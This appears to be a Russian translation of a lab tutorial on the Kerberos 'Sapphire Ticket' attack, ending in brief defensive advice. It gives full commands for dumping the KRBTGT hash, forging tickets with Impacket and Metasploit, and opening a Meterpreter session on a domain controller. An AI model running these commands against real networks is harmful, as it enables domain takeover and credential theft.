Содержание статьи
info
Это перевод материала Sapphire Ticket Attack: Abusing Kerberos Trust из блога Hacking Articles. Автор — Комаль Сингх. Этот материал доступен без платной подписки.
Итак, Sapphire Ticket работает по тому же принципу, что и Diamond: атакующий получает легальный TGT и копирует данные из его PAC в поддельный тикет. Но тут есть одна хитрость: вместо того чтобы полагаться на PAC из первичного аутентификатора, злоумышленник проводит отдельную операцию для получения PAC другого пользователя — чаще всего с повышенными привилегиями.
Алгоритм следующий:
- Аутентификация через KDC (центр распределения ключей). Используя расширения S4U2Self и U2U, атакующий запрашивает TGS для пользователя с высокими привилегиями. Так система создает PAC, который отображает реальные данные авторизации пользователя. Однако этот билет нельзя напрямую использовать в привилегированных контекстах.
- Расшифровка данных PAC.
- Изменение PAC таким образом, чтобы он соответствовал атрибутам настоящего TGT.
- Шифрование поддельного билета с хешем KRBTGT.
Как и в случае с золотыми и алмазными билетами, чтобы создать сапфировый билет, атакующему нужен хеш домена KRBTGT. Но здесь есть одна особенность: в отличие от остальных подобных атак, здесь не требуются DOMAIN_SID
и DOMAIN_RID
. Вместо этого всю нужную инфу можно вытащить прямо из действительного TGT.
info
Подробнее про технику Diamond Ticket читай в предыдущей статье того же автора: «Алмазный билет. Как использовать доверие Kerberos в своих целях».
Важные термины
S4U2Self
Расширение S4U2Self (буквально — «служба от пользователя к себе») для Kerberos позволяет сервису от имени пользователя запросить для себя сервисный билет. В нем содержатся данные, удостоверяющие права пользователя, в частности Privilege Attribute Certificate (PAC). Именно на основе этой инфы система потом решает, какой доступ давать.
Чтобы воспользоваться S4U2Self, нужно, чтобы у пользователя, который запрашивает, был зарегистрирован хотя бы один Service Principal Name (SPN). Этот SPN позволяет контроллеру домена (DC) зашифровать сгенерированный сервисный тикет с помощью секретного ключа самого сервиса.
Процесс запроса токена S4U2Self
- Сервис создает структуру данных
PA_FOR_USER
, где указывает пользователя, от имени которого хочет войти. - Отправляет сообщение
KRB_TGS_REQ
на сервер выдачи билетов (TGS). - TGS (Ticket Granting Service) отвечает сервисным билетом, в котором лежит PAC пользователя, зашифрованный для запрашиваемого сервиса.
U2U
Аутентификация User-to-User (U2U), или «аутентификация пользователей между собой», — это фишка Kerberos, которая позволяет клиенту запросить билет, зашифрованный сессией другого пользователя. Это обычно происходит, когда сервером выступает юзер и у него нет долгосрочного ключа, как на десктопе.
Вот что нужно для запроса тикетов в U2U:
-
additional-tickets
— содержит TGT пользователя, выступающего в роли сервера; -
ENC-TKT-IN-SKEY
— говорит KDC шифровать сервисный тикет с использованием сессионного ключа из дополнительного тикета; -
sname
(имя сервиса) может указывать на пользовательский аккаунт, а не на традиционный сервис с SPN.
Это позволяет одному пользователю (пользователь Б) надежно аутентифицироваться у другого пользователя (пользователь А), даже если у пользователя А нет сохраненного секретного ключа.
Пример работы U2U:
- пользователь А (в роли сервера) выкатывает свой TGT пользователю Б;
- пользователь Б отправляет
KRB_TGS_REQ
на KDC, включая TGT как от пользователя A, так и свой собственный; - KDC генерит новый сеансовый ключ и зашифровывает его два раза: первый раз — под сеансовый ключ пользователя A, второй — под ключ пользователя Б.
Оба пользователя расшифровали свои части, и теперь у них есть общий сессионный ключ для безопасного общения.
Это избавляет пользователя А от необходимости хранить постоянный мастер‑ключ, что делает запуск сервисов с менее защищенных конечных точек вроде десктопов безопаснее.
Технические подробности
Sapphire Tickets использует связку S4U2Self и U2U, чтобы обойти классические требования к SPN.
Вот как это работает. Обычно для S4U2Self требуется действительный SPN. Но если подключить U2U, можно запросить тикеты S4U2Self вообще без нужды в SPN.
Предположим, у тебя есть сервис, настроенный для работы с Kerberos Constrained Delegation (KCD). На него прилетает сессия от юзера, прошедшего аутентификацию через NTLM. И тут загвоздка: если у юзера нет билета Kerberos (ST), то этот сервис дальше делегировать права уже не сможет.
В этом случае сервис отправляет запрос KRB_TGS_REQ
, чтобы получить сервис‑токен (ST) для пользователя — самому себе — через S4U2Self.
Полученный тикет включает в себя PAC пользователя, который сервис может расшифровать с помощью ключа KRBTGT.
Как только у сервиса появится PAC (Privilege Attribute Certificate), он сможет добавить его в уже имеющийся TGT (Ticket Granting Ticket), перешифровать и снова подписать с использованием ключа KRBTGT.
Коротко: S4U2Self позволяет сервису получить тикет от имени пользователя. U2U не требует ключа сервиса, чтобы это провернуть. Вместе они превращаются в мощное средство для маскировки под пользователей и манипуляции токенами Kerberos.
Чем это отличается от алмазного билета?
В обеих атаках все крутится вокруг манипуляции с PAC настоящего TGT, но разница в том, как именно это делается. В случае с алмазным билетом атакующий модифицирует оригинальный PAC запрошенного TGT — либо добавляет туда кучу дополнительных прав, либо вообще переписывает его полностью. А вот с сапфировым билетом всё хитрее: тут злодей не просто лезет в TGT, а добывает настоящий PAC высокопривилегированного пользователя через делегацию Kerberos и подкладывает его вместо исходного PAC билета.
Подготовка лаборатории
Чтобы провернуть эту атаку, мы создадим двух пользователей: admin1 — доменный администратор, rudra — обычный пользователь на контроллере домена. Залогинься на контроллере домена, открой командную строку и вводи команды по нашему рецепту.
net user rudra Password@1 /add /domain

Создаем нового пользователя admin1 в домене и выдаем ему пароль Password@1
. Затем добавляем пользователя admin1 в группу Domain Admins в домене.
net user admin1 Password@1 /add /domain
net group “Domain Admins” admin1 /add /domain

После выполнения команды проверим, действительно ли admin1 прописан в группе доменных админов. Для этого заходим в «Пользователи и компьютеры Active Directory → Пользователи» и дважды кликаем на выбранного пользователя (у нас это admin1). Затем переходим на вкладку «Членство». В списке должен быть Domain Admins, как на скриншоте ниже.

Атака на сапфировый билет
Итак, чтобы провести эту атаку, злоумышленнику нужно заполучить хеш KRBTGT. Представь себе такой расклад: хакер взломал учетные данные привилегированного аккаунта, скажем admin1-User. Получив доступ, он пытается провернуть атаку DCSync для выкачки хеша KRBTGT аккаунта.
Извлечение хеша KRBTGT и SID домена
impacket-secretsdump 'ignite.local/admin1:Password@1@ignite.local -just-dc-user krbtgt
info
Impacket-secretsdump — это утилита, которая помогает вытащить хеши из Active Directory. В нашем случае есть данные для входа от имени админа и мы используем их, чтобы получить хеш для учетки krbtgt
, которая применяется для управления билетами Kerberos.
nxc ldap 192.168.1.48 -u admin1 -p Password@1 --get-sid
На картинке ниже ты видишь хеши NTLM и AES для служебной учетки KRBTGT.

На следующем этапе извлеки SID для пользователя admin1.
nxc ldap 192.168.1.48 -u admin1 -p Password@1 --get-sid

Генерация поддельного TGS и PAC
Атакующий подделывает сервисный билет для пользователя admin1, возможно с завышенными привилегиями и валидной подписью, тем самым обходя механизмы обнаружения типа PAC-проверки на контроллере домена.
impacket-ticketer -request -impersonate admin1 -domain ignite.local -user rudra -password Password@1 -nthash 761688de884aff3372f8b9c53b2993c7 -aeskey '8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb' -domain-sid S-1-5-21-798084426-3415456680-3274829403 baduser
Здесь
-
-domain
указывает целевой домен для атаки;ignite. local -
-user
— имя пользователя, для которого генерируется поддельный билет;rudra -
-password
— пароль пользователя для получения криптографических ключей при генерации PAC или билета. Обычно не встречается в атаках с использованием Silver Ticket;Password@1 -
-nthash
и-aesKey
принадлежат аккаунту KRBTGT, как и нужно для атаки с использованием Diamond Ticket.
Следующие параметры нужны, чтобы криптографически подписывать и проверять поддельные тикеты сервиса:
-
-domain-sid
— эта строка описывает идентификатор безопасности (SID) для домена (SID нужен, чтобы сформировать PAC);S-1-5-21-79... 03 -
admin1
— показывает, какой SPN (имя главного сервиса) или логин злоумышленник использует, чтобы притвориться другим и выкроить доступ к услугам какbaduser
.

Pass the Ticket
Эта переменная окружения указывает системе, какой именно файл кеша учетных данных Kerberos (baduser.
) применять для аутентификации.
Файл baduser.
хранит билеты Kerberos для пользователя baduser
, и, скорее всего, там окажется и сервисный билет (TGS) для выбранной цели. Это значит, что ты можешь воспользоваться этим файлом, чтобы авторизоваться и зайти на сервис под видом baduser
.
export KRB5CCNAME=baduser.ccache
impacket-psexec ignite.local/admin1@dc.ignite.local -dc-ip 192.168.1.48 -target-ip 192.168.1.48 -k -no-pass
Давай разберем эту команду по частям:
-
impacket-psexec
— утилита из библиотеки Impacket, с помощью SMB удаленно запускающая команды на виндовых машинах; -
ignite.
— основное имя Kerberos (local/ admin1@dc. ignite. local user@realm
), которое используется для аутентификации. Также здесьlocal
— домен,admin1
— твой ник,local
— имя хоста контроллера домена; -
-dc-ip
— этот параметр задает IP-адрес нашего контроллера домена;192. 168. 1. 48 -
-target-ip
— IP целевой системы, где будет выполняться команда. В нашем случае он совпадает с IP контроллера домена;192. 168. 1. 48 -
-k
означает, что вместо NTLM будет использоваться аутентификация через Kerberos. Наш инструмент подтянет Kerberos-билеты из указанного кеша учетных данных (KRB5CCNAME); -
-no-pass
— сообщает утилите не запрашивать пароль, потому что аутентификация будет выполняться с помощью Kerberos-токенов из кеша.

Metasploit
Эта техника позволяет стянуть хеши SAM и секреты LSA (включая кешированные креды) с удаленной машины на Windows без развертывания агента на месте. Хитрость в том, чтобы удаленно обновить дескриптор безопасности ключа реестра, воспользовавшись привилегиями WriteDACL локальных админов, чтобы временно выставить права на чтение.
Давай посмотрим, что нужно, чтобы это провернуть.
use gather/windows_secrets_dump
set RHOSTS 192.168.1.48
set SMBDOMAIN ignite.local
set SMBUSER admin1
set SMBPASS Password@1
set ACTION DOMAIN
set KRB_USERS KRBTGT
run
Атака с сапфировым билетом
Вот, как выглядит процесс атаки.

Давай разберем, что происходит на этом скриншоте.
-
RHOSTS
— целевая машина, домен‑контроллер;= 192. 168. 1. 48 -
SMBDOMAIN
— домен;= ignite. local -
SMBUSER
— юзер;= admin1 -
SMBPASS
— пароль;= Password@1 -
KRB_USERS
— пользователь для выдачи билетов в Kerberos;= krbtgt -
ACTION
— показывает, что происходит слив секретов домена.= DOMAIN
Модуль запускается, и секреты сливаются с помощью метода DRSUAPI (он часто используется для выделения данных из NTDS.
).
Красным обведены:
- NTLM-хеш для krbtgt:
76...
;c7 - ключ Kerberos AES для krbtgt:
8e...
.bb
Эти данные необходимы для подделки билетов, потому что ключи KRBTGT используются для подписи действительных билетов Kerberos.
Этот модуль умело кует Kerberos-билеты, применяя четыре хитрых метода. В методе «серебряный билет» атакующий берет хеш учетной записи сервиса и клепает билет, который выдает себя за любого пользователя и дает этому аккаунту нужные привилегии.
Метод «золотой билет» — это когда злоумышленник использует хеш krbtgt
, чтобы смастерить билет, изображая любого пользователя с любыми привилегиями.
Далее идет «алмазный билет»: тут добавляется аутентификация на контроллере домена и затем применяется тот же хеш krbtgt
, чтобы скопировать PAC аутентифицированного пользователя в поддельный билет.
И закрывает всю эту эпопею «сапфировый билет», где используют уловку S4U2Self и U2U, чтобы добыть PAC другого пользователя, а затем на базе хеша krbtgt
создается поддельный билет.
Мы используем модуль Metasploit forge_ticket
, чтобы создать поддельный билет Kerberos.
Основные шаги
Сначала настраиваем параметры для подделки:
-
AES_KEY
— берем его из предыдущего шага;= ключ -
USER
— пользователь, которого мы изображаем;= admin1 -
REQUEST_USER
— пользователь, создающий обращение;= rudra -
REQUEST_PASSWORD
— используется в процессе U2U;= Password@1 -
DOMAIN
— устанавливаем домен;= ignite. local -
RHOSTS
— целевая машина.= 192. 168. 1. 48
Затем запускаем модуль и получаем в виде ответа TGT (Ticket Granting Ticket) и TGS (Ticket Granting Service).

Билет сохранен по следующему пути:
/root/.msf4/loot/20250128100342_default_192.168.1.48_mit.kerberos.cca_038047.bin
use admin/kerberos/forge_ticket
set action FORGE_SAPPHIRE
set AES_KEY 8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb
set USER admin1
set DOMAIN ignite.local
set REQUEST_USER rudra
set REQUEST_PASSWORD Password@1
set RHOSTS 192.168.1.48
run
Запускаем команду ls
, чтобы показать все файлы. Затем используем mv
, чтобы переименовать файл в 1.
, — так будет проще ориентироваться в будущем.

Следующий модуль использует валидные админские логин и пароль (или их хеш), чтобы выполнить произвольный пейлоад. В общем, он чем‑то похож на утилиту psexec из SysInternals. Модуль хорош тем, что умеет убирать за собой. А еще он создает сервис с рандомно выбранными именем и описанием.
Настройки:
-
SET
— IP целевой машины;RHOST 192. 168. 1. 48 -
SMBDOMAIN:
— имя домена SMB-сети;ignite. local -
USERNAME:
;admin1 -
SMB::
— установи как Kerberos;AUTH: -
SMB::
— кеш билетов Kerberos загружен изKRB5CCNAME /
;root/. msf4/ loot/ 1. bin -
SMB::
— имя хоста контроллера домена;RHOSTNAME: dc. ignite. local -
DOMAINCONTOLLERHOST
явно задан как 192.168.1.48; -
LHOST
— машина атакующего, 192.168.1.60.
Теперь введи run
и жми Enter, чтобы запустить нагрузку и открыть сеанс Meterpreter.
use exploit/windows/smb/psexec
set RHOSTS 192.168.1.48
set SMBDOMAIN ignite.local
set USERNAME admin1
set SMB::AUTH kerberos
set SMB::KRB5CCNAME /root/.msf4/loot/1.bin
set SMB::RHOSTNAME dc.ignite.local
set DOMAINCONTROLLERRHOST 192.168.1.48
set LHOST 192.168.1.60

Выводы
Сапфировый билет — это мощный способ манипуляции аутентификацией Kerberos, объединяющий расширения протоколов S4U2Self и User-to-User (U2U). Эта техника позволяет злоумышленнику или сервису выдать себя за пользователя и вытащить его данные авторизации (PAC), не заморачиваясь с Service Principal Name (SPN) или долгосрочным ключом сервиса.
Как только злоумышленник получит PAC, он может внедрить его в поддельный билет. Автоматически открывается возможность повысить привилегии или свободно перемещаться по домену.
Эта техника наглядно демонстрирует, как злоумышленники могут использовать законные функции Kerberos — изначально созданные для гибкой делегации и безопасной аутентификации между узлами, если в безопасности домена есть пробелы в конфигурации и контроле.
Чтобы предотвратить такие атаки:
- мониторь активность заявок и нестандартных запросов на делегирование;
- обрати внимание на защиту и аудит настроек KCD;
- минимизируй использование NTLM и следи за хорошей гигиеной сервисных принципалов.
Сапфировые билеты превращают механизм доверия Kerberos в потенциальный инструмент для незаметных атак. Поэтому осведомленность и умение выявлять такие угрозы становятся жизненно важными навыками при защите Active Directory.